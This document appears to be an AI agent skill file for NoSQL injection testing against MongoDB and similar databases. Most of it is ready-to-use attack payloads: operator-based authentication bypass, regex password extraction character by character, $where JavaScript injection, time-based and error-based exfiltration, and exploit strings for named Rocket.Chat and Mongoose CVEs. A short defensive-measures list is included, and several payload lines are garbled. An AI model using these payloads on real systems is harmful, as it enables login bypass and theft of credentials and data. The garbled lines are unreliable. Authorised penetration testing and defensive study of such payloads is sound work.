| name | nosql-injection |
| description | How to test for NoSQL injection vulnerabilities in MongoDB and other NoSQL databases. Use this skill whenever the user mentions NoSQL injection, MongoDB injection, database injection testing, authentication bypass, or wants to test for NoSQL vulnerabilities in web applications. Make sure to use this skill for any security testing involving MongoDB, Mongoose, or NoSQL databases, even if the user doesn't explicitly mention 'injection'. |
NoSQL Injection Testing
A comprehensive guide for testing NoSQL injection vulnerabilities in MongoDB and similar databases.
Overview
NoSQL injection occurs when user input is not properly sanitized before being used in database queries. Unlike SQL injection, NoSQL injection exploits the document-based query structure of databases like MongoDB.
Common Operators
MongoDB uses special operators that can be exploited:
| Operator | Description | Example |
|---|
$ne | Not equals | username[$ne]=1 |
$eq | Equals | username[$eq]=admin |
$regex | Regular expression | username[$regex]=^adm |
$gt | Greater than | pass[$gt]=s |
$lt | Less than | pass[$lt]=s |
$nin | Not in array | username[$nin][admin]=admin |
$where | JavaScript execution | { $where: "this.credits == this.debits" } |
$exists | Field exists | username[$exists]=true |
Authentication Bypass
URL Parameters
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
JSON Body
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
SQL-style Injection in MongoDB
' or 1=1-- -
// MongoDB equivalent
' || 1==1
' || 1==1%00
admin' || 'a'=='a
Data Extraction Techniques
Extract Password Length
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
Extract Password Characters
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
JSON-based Extraction
{"username": {"$eq": "admin"}, "password": {"$regex": "^m"}}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md"}}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp"}}
Using $where for Field Matching
/?search=admin' && this.password%00 --> Check if password field exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> Start matching
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 --> Found
Advanced Techniques
Cross-Collection Data Access
Use $lookup to read from different collections (requires aggregate()):
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {"$regex": "^.*"}
}
}
]
}
}
]
Error-Based Injection
Exfiltrate documents via JavaScript errors:
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
PHP Arbitrary Function Execution
Using MongoLite's $func operator:
"user":{"$func": "var_dump"}
Common Payloads
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;
|| 1==1
|| 1==1
|| 1==1%00
{ $gt: '' }
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, : {: }}
{: {: }, : {: }}
{: {:}, : {:}}
{:{:[, , , , ]},:{:}}
Recent CVEs (2023-2025)
CVE-2023-28359 - Rocket.Chat Blind NoSQLi
Unauthenticated blind NoSQL injection in Rocket.Chat ≤ 6.0.0 via listEmojiCustom Meteor method.
Exploit:
{"$where":"sleep(2000)||true"}
CVE-2024-53900 & CVE-2025-23061 - Mongoose RCE
Mongoose populate().match with $where executes JavaScript in Node.js.
Exploit:
Post.find().populate({ path: 'author', match: req.query.author });
GraphQL → MongoDB Filter Confusion
query users($f:UserFilter){
users(filter:$f){ _id email }
}
{ "f": { "$ne": {} } }
Defensive Measures
- Strip dangerous keys: Use
express-mongo-sanitize, mongo-sanitize, or Mongoose sanitizeFilter: true
- Disable server-side JavaScript:
--noscripting flag (default in MongoDB v7.0+)
- Avoid
$where: Prefer $expr and aggregation builders
- Validate data types: Use Joi/Ajv, disallow arrays where scalars expected
- GraphQL: Translate filter arguments through allow-list; never spread untrusted objects
Automation Scripts
Use the bundled scripts for automated testing:
scripts/nosql-bruteforce.py - Extract passwords character by character
scripts/nosql-username-enumeration.py - Enumerate usernames and passwords
See the scripts directory for usage instructions.
Testing Workflow
- Identify the target: Find login forms, search parameters, or API endpoints
- Test for vulnerability: Try basic
$ne or $regex payloads
- Determine injection point: URL params, JSON body, GraphQL variables
- Extract data: Use regex-based character extraction
- Document findings: Record payloads, endpoints, and impact
References